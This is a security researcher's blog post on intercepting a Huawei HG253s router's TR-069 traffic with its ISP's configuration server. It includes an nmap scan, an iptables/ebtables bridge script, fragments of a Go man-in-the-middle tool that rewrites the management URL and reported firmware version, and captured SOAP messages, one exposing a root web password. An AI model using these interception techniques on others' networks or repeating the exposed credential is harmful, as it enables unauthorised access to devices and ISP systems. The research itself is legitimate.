Taking Back What Is Already Yours: Router Wars Episode II

In the previous post, we’ve learned that our router is connecting to acs.superonline.net and we assumed it’s an Auto Configuration Server. Since it was a TLS connection, we couldn’t see the details of that communication.

There isn’t any known attack on TLS v1.2 which our router is using. So the first thing that came in my mind is to check if there is a plain HTTP version of acs.superonline.net. I ran a nmap scan expecting port 80 will be open:

1
2
3
4
5
6
7
8
9
$ nmap --open acs.superonline.net
Nmap scan report for acs.superonline.net (85.29.13.3)
Host is up (0.043s latency).
PORT STATE SERVICE
443/tcp open https
4443/tcp open pharos
8010/tcp open xmpp

Nmap done: 1 IP address (1 host up) scanned in 7.10 second

Port 80 isn’t open but curl requests to open ports returned the same length, same header responses so probably the same server (or test server) is running on these ports. Also port 8010 uses plain HTTP so maybe if we could change ACS URL to 8010 we could sniff the communication. I looked into the web interface of the router to see if there’s a configuration page for TR-069 but no luck there. I decided to reset the router to its factory settings to check if https://acs.superonline.net is indeed hardcoded in the firmware and lucky for me the router made a plain HTTP connection to a new port of acs.superonline.net: port 8015! I can read all requests with wireshark now and they’re indeed TR-069 requests.

Before diving into these requests, I want to give some information about TR-069 protocol. TR-069 is mainly used by Internet Service Providers to configure your modems/routers remotely. It’s possible to set passwords, configure Wi-Fi, even upgrade firmware via TR-069 protocol. Here is a crash course about TR-069(source). So basically it’s a backdoor your ISP installed in your router! And unlike most of the other routers, in HG253s it isn’t possible to disable TR-069. This is very invasive and unacceptable. It may seem necessary to apply security patches published by your ISP but the user should be able to disable it whenever she wants.

Okay, let’s look into the communication between HG253s and my ISP’s Auto Configuration Server. The requests are exchanging information and mainly like the one below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
POST /cwmpWeb/WGCPEMgt HTTP/1.1
Host: acs.superonline.net:8015
SOAPAction:
Connection: Keep-Alive
Content-Type: text/xml; charset=UTF-8
User-Agent: HW_ATP_HTTP
Content-Length: 2515

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:cwmp="urn:dslforum-org:cwmp-1-0">
<SOAP-ENV:Header>
<cwmp:ID SOAP-ENV:mustUnderstand="1">37</cwmp:ID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<cwmp:Inform>
<DeviceId>
<Manufacturer>Huawei</Manufacturer>
<OUI>00E0FC</OUI>
<ProductClass>HG253s</ProductClass>
<SerialNumber>[REDACTED]</SerialNumber>
</DeviceId>
<Event SOAP-ENC:arrayType="cwmp:EventStruct[3]">
<EventStruct>
<EventCode>4 VALUE CHANGE</EventCode>
<CommandKey/>
</EventStruct>
<EventStruct>
<EventCode>1 BOOT</EventCode>
<CommandKey/>
</EventStruct>
<EventStruct>
<EventCode>0 BOOTSTRAP</EventCode>
<CommandKey/>
</EventStruct>
</Event>
<MaxEnvelopes>1</MaxEnvelopes>
<CurrentTime>2010-01-01T00:01:26</CurrentTime>
<RetryCount>0</RetryCount>
<ParameterList SOAP-ENC:arrayType="cwmp:ParameterValueStruct[8]">
<ParameterValueStruct>
<Name>InternetGatewayDevice.DeviceSummary</Name>
<Value xsi:type="xsd:string">InternetGatewayDevice:1.1[](Baseline:1, EthernetLAN:1, USBLAN:1, WiFiLAN:1, EthernetWAN:1, Bridging:1, Time:1, IPPing:1, DeviceAssociation:1, UDPConnReq:1)</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.DeviceInfo.ProvisioningCode</Name>
<Value xsi:type="xsd:string"/>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.DeviceInfo.SpecVersion</Name>
<Value xsi:type="xsd:string">1.0</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.DeviceInfo.HardwareVersion</Name>
<Value xsi:type="xsd:string">VER.A</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.DeviceInfo.SoftwareVersion</Name>
<Value xsi:type="xsd:string">HG253sC01B039</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.ManagementServer.ParameterKey</Name>
<Value xsi:type="xsd:string"/>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.ManagementServer.ConnectionRequestURL</Name>
<Value xsi:type="xsd:string">http://10.26.228.191:3050/vmvdhxodckdoi</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.ExternalIPAddress</Name>
<Value xsi:type="xsd:string">10.26.228.191</Value>
</ParameterValueStruct>
</ParameterList>
</cwmp:Inform>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

But in all these requests, there’s an important one coming from ACS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Header>
<cwmp:ID soapenv:mustUnderstand="1">47941947700</cwmp:ID>
</soapenv:Header>
<soapenv:Body>
<cwmp:SetParameterValues>
<ParameterList soap:arrayType="cwmp:ParameterValueStruct[3]">
<ParameterValueStruct>
<Name>InternetGatewayDevice.ManagementServer.URL</Name>
<Value xsi:type="xsd:string">https://acs.superonline.net/cwmpWeb/CPEMgt</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.ManagementServer.Username</Name>
<Value xsi:type="xsd:string">[REDACTED]</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.ManagementServer.Password</Name>
<Value xsi:type="xsd:string">[REDACTED]</Value>
</ParameterValueStruct>
</ParameterList>
<ParameterKey>4794194770</ParameterKey>
</cwmp:SetParameterValues>
</soapenv:Body>
</soapenv:Envelope>

Yep, it’s changing the ACS URL to TLS enabled version. So if we do a MitM attack and force router to keep the URL same, we can sniff latter requests too. Even if we can’t, we can provide an invalid URL and disable TR-069 requests. MitM attack should be easy on linux with all that native networking support like iptables, ebtables and bridges(!).

I ran BurpSuite on port 8080 with transparent proxy and then I executed the script below with bridge already set(see my previous post:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash

HUAWEI_IP="" # The ip address of router
ISP_IP="" # The next host ip

HUAWEI_MAC="00:30:88:XX:XX:XX"
ISP_MAC="A4:99:47:XX:XX:XX"

ACS_IP="85.29.13.3" # acs.superonline.net
ACS_PORT="8015"

# enable ip forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# enable iptables call from ebtables
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
# since it's pppoe session enable pppoe packets
echo 1 > /proc/sys/net/bridge/bridge-nf-filter-pppoe-tagged
# packets comming from router also have 802.1q vlan layer
echo 1 > /proc/sys/net/bridge/bridge-nf-filter-vlan-tagged

ebtables -t nat -A POSTROUTING -o eth0 -j snat --to-source $ISP_MAC
ebtables -t nat -A POSTROUTING -o eth1 -j snat --to-source $HUAWEI_MAC

iptables -i br0 -t nat -A PREROUTING -p tcp -d $ACS_IP --dport $ACS_PORT -j REDIRECT --to-port 8080

iptables -o eth1 -t nat -A POSTROUTING -p tcp -j SNAT --to-source HUAWEI_IP

Note that you need br_netfilter filter module enabled. Normally, ebtables work at ethernet layer and ignore the layers above but with br_netfilter and /proc/sys/net/bridge/bridge-nf-call-iptables enabled, it’s supposed to call iptables from ethernet layer. This is how iptables and ebtables work together:

source

Let’s go over our code line by line:

1
2
ebtables -t nat -A POSTROUTING -o eth0 -j snat --to-source $ISP_MAC
ebtables -t nat -A POSTROUTING -o eth1 -j snat --to-source $HUAWEI_MAC

The above code changes source MAC addresses of packets in case they’re coming from BurpSuite. For example if a packet going through eth1 interface(going to wild), it’s source MAC address should be router’s MAC address. See previous post for the setup.

1
iptables -i br0 -t nat -A PREROUTING -p tcp -d $ACS_IP --dport $ACS_PORT -j REDIRECT --to-port 8080

This is a simple redirection rule for packets whose destinations are acs.superonline.net:8015.

1
iptables -o eth1 -t nat -A POSTROUTING -p tcp -j SNAT --to-source HUAWEI_IP

This does the same thing we do with ebtables rule but in the IP layer.

And it didn’t work. Yeah. It worked perfectly fine in my LAN but it didn’t work outside of my router. After many hours of debugging and a few stackoverflow questions later, I figured the packets follow PREROUTING(ebtables) -> FORWARD(iptables) -> POSTROUTING(ebtables) chains but never visit iptables PREROUTING and POSTROUTING chains. I think it’s because of the implementation of br_netfilter module for PPPoE layer but I still don’t have the definitive answer.

I decided to implement the bridge and iptables redirects myself. First I looked at how iptables redirects work. Apparently when redirecting a packet, iptables set SO_ORIGINAL_DST value so that the transparent proxies would know the original destination of the packet. At user space you have permission to read but you don’t have permission to set this value. Since all I want to change the ACS URL parameter, I decided to make packet modification a part of my code.

My choice of language for this task was go because I wanted to practice go and also goroutines are very useful for this kind of multi-threaded code.

You can reach my code here. I won’t go line by line over my code but I want to talk about the logic flow and problems I’ve encountered while writing.

First of all, outgoing means the packet is coming from the router and going to the wild. Incoming means vice versa. And interfaces are referred as ports (like in outgoingPort).

There are three main functions. The first one is:

1
func bridge(outgoingPort BridgePort, incomingPort BridgePort, label int)

What it does is this: it reads packets coming to outgoingPort then forward to incomingPort. Two instances of this function are running for both directions. I use gopacket/pcap to read/write packets. The problem is while reading from the handle you receive assembled packets. For example, you don’t get tcp fragments of a HTTP packet, you get a complete HTTP packet. And this is a problem while writing to the forwarding handle because the packet size shouldn’t exceed the interface MTU. So I needed to implement a fragmentation function that divides packets into sizes smaller than MTU and arranges TCP sequence numbers accordingly.

The other problem I had is caused by my Asus ethernet-usb3 converter. It was appending two extra random bytes to the end of each packet! It took many hours to figure out why I was having length issues. This is how it is seen in wireshark:

After searching on the internet, I found out that they’re some kind of debug bytes. So I simply started to strip out those two extra bytes I read from Asus converter.

1
2
3
if label == INCOMING { // strip out vss-monitoring trailer
packetData = packetData[:len(packetData)-2]
}

The other two important functions are

1
func processIncoming(packet gopacket.Packet) ([]byte, error)

and

1
func processOutgoing(packet gopacket.Packet, wholePacket bool) ([]byte, error)

Both functions are called from bridge if packets are going to or coming from acs.superonline.net:8015

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if label == OUTGOING && bytes.Equal(ip.DstIP, []byte{85, 29, 13, 3}) {
tcp, _ := packet.Layer(layers.LayerTypeTCP).(*layers.TCP)

if tcp.DstPort == 8015 && len(tcp.Payload) > 0 {
fmt.Printf("[+] Caught outgoing!\n")
packetData, err = processOutgoing(packet, true)
if err != nil {
fmt.Printf("[-] Couldn't modify intercepted package: %s\n", err.Error())
return
}
}

} else if label == INCOMING && bytes.Equal(ip.SrcIP, []byte{85, 29, 13, 3}) {
tcp, _ := packet.Layer(layers.LayerTypeTCP).(*layers.TCP)

if tcp.SrcPort == 8015 && len(tcp.Payload) > 0 {
fmt.Printf("[+] Caught incoming!\n")
packetData, err = processIncoming(packet)
if err != nil {
fmt.Printf("[-] Couldn't modify intercepted package: %s\n", err.Error())
return
}
}
}

processIncoming’s duty is to replace https://acs.superonline.net in TR-069 packets from ACS with whatever I want. For now, we want it to replace with http://acs.superonline.net:8015.

On the other hand, processOutgoing’s duty is to replace the firmware version to something lower than my router has. So that way, maybe we can trick ACS to send the latest firmware.

When I did a factory reset and ran the MitM code, the only different thing happened is that the router started to send periodic inform messages in addition to usual information exchange requests. No firmware upgrade, no password set request. My internet connection is even gone since the PPP credentials aren’t hardcoded in the router.

Before without my touch, the router connects to ACS on port 8015, then ACS sends a new ACS URL along with username and password and finally the router connects to this new URL. Maybe we shouldn’t keep the URL same; we should change it to force the router to initiate a new session. But have can we achieve that without switching to HTTPS URL? Remember, we already found another HTTP port running at 8010 in the beginning of this post. So let’s try replacing https URL with that one.

And voila!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Header>
<cwmp:ID soapenv:mustUnderstand="1">48323079860</cwmp:ID>
</soapenv:Header>
<soapenv:Body>
<cwmp:SetParameterValues>
<ParameterList soap:arrayType="cwmp:ParameterValueStruct[1]">
<ParameterValueStruct>
<Name>InternetGatewayDevice.UserInterface.X_ATP_Web.UserInfo.1.Userpassword</Name>
<Value xsi:type="xsd:string">B427B99_6-4f17-b</Value>
</ParameterValueStruct>
</ParameterList>
<ParameterKey>4832307986</ParameterKey>
</cwmp:SetParameterValues>
</soapenv:Body>
</soapenv:Envelope>

We received password update for Root user! And a few requests later:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Header>
<cwmp:ID soapenv:mustUnderstand="1">49244438771</cwmp:ID>
</soapenv:Header>
<soapenv:Body>
<cwmp:Download>
<CommandKey>4924443877</CommandKey>
<FileType>1 Firmware Upgrade Image</FileType>
<URL>http://acs.superonline.net:8010/firmware/HG253sV100R001C01B039_upgrade_main.bin</URL>
<Username></Username>
<Password></Password>
<FileSize>12714132</FileSize>
<TargetFileName></TargetFileName>
<DelaySeconds>1</DelaySeconds>
<SuccessURL></SuccessURL>
<FailureURL></FailureURL>
</cwmp:Download>
</soapenv:Body>
</soapenv:Envelope>

We got firmware link and it’s reachable from everywhere! To sum up, now we got the latest unpublished firmware and the password for Root user. In the next post we’ll see what we can do with these.

Note: The main discussion about these post series is here.